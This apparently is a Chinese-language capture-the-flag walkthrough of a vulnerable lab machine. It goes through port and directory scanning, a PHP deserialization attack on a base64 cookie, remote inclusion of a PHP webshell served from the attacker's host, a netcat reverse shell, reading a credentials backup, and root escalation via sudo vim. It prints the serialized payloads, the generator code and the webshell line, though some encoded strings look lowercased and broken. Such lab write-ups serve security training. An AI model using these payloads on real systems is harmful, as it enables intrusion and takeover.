目录
2. 查看根目录发现存在敏感文件credentials.txt.bak。
4.刚才查看了版本,暂时找不到可提权的漏洞,那么,我们尝试找一下当前用户可执行与无法执行的指令,可以看到vim编辑器对所有用户nopasswd。
5.尝试提权,试试sudo vim,进入到命令模式输入!bash。
一、信息收集
1.探测主机存活(目标主机ip地址)

2.访问web服务
1.首先访问80端口,页面只有一行文本:hello sk4this is a beta test for new cookie handler,在首页中并未有任何有价值的信息

3.后台目录和端口扫描

开启80和22端口说明可能用到远程连接。

经过扫描后我们我们尝试访问扫描结果对应的目录,结果发现在/backup目录下存在压缩包

4.解析bak.zip源码
下载解压后,存有三个php文件

整理思路: 首次访问网站后,后台会创建一个user对象,并且内部又为wel变量创建welcome对象,同时进行序列化base64编码存入cookie,我们抓一下页面的包,发现cookie。

这里的cookie便是后台通过base64编码后的结果

使用base64解码后得到的结果
o:4:"user":2:{s:10:"username";s:3:"sk4";s:9:"userwel";o:7:"welcome":0:{}}7
二、漏洞利用
1.构造payload
由于空格在url地址中无法识别,所以将所有空格转为8进制\x00 同时由于文件包含参数为type_log,所以内容应为文件路径
o:4:“user”:2:{s:10:“\x00user\x00name”;s:3:“sk4”;s:9:“\x00user\x00wel”;o:3:“log”:1:{s:8:“type_log”;s:11:“/etc/passwd”}}
编码后的payload如下:
tzo0oijvc2vyijoyontzojewoiiavxnlcgbuyw1lijtzoju6imfkbwluijtzojk6igbvc2vyahdlbci7tzozoijmb2cioje6e3m6mtm6igbmb2cadhlwzv9sb2cio3m6mte6ii9ldgmvcgfzc3dkijt9fq==
2.通过bp的repeater模块

成功访问到信息,可以看到sk4用户属性为/bin/bash

3.get shell
1.构造序列化语句上传shell
<?php @system($_get['cmd']);?>

2.然后构造payload:
o:4:"user":2:{s:10:"\x00user\x00name";s:5:"admin";s:9:"\x00user\x00wel";o:3:"log":1:{s:8:"type_log";s:26:"http://本地ip/c.txt";}}
然后进行序列化和base64编码执行。代码如下:
<?php
class log {
private $type_log = "http://192.168.3.222/c.txt";
}
class user {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new log();
}
}
$obj = new user();
echo base64_encode(serialize($obj));
64编码后的payload:
tzo0oijvc2vyijoyontzojewoiiavxnlcgbuyw1lijtzoju6imfkbwluijtzojk6igbvc2vyahdlbci7tzozoijmb2cioje6e3m6odoidhlwzv9sb2cio3m6mju6imh0dha6ly8xotiumty4lju2ljevc2hlbgwudhh0ijt9fq==
3.用burpsuite上传

成功执行一句话木马

4.获取反弹shell
直接使用nc工具来尝试回弹一个shell

在kali中使用nc监听7777端口等待靶机访问

成功回弹!!

三、提升权限
1. 查看系统版本,内核版本。

2. 查看根目录发现存在敏感文件credentials.txt.bak。

3.打开查看是用户名和密码,ssh登录。


4.刚才查看了版本,暂时找不到可提权的漏洞,那么,我们尝试找一下当前用户可执行与无法执行的指令,可以看到vim编辑器对所有用户nopasswd。

5.尝试提权,试试sudo vim,进入到命令模式输入!bash。

6.提权成功

发表评论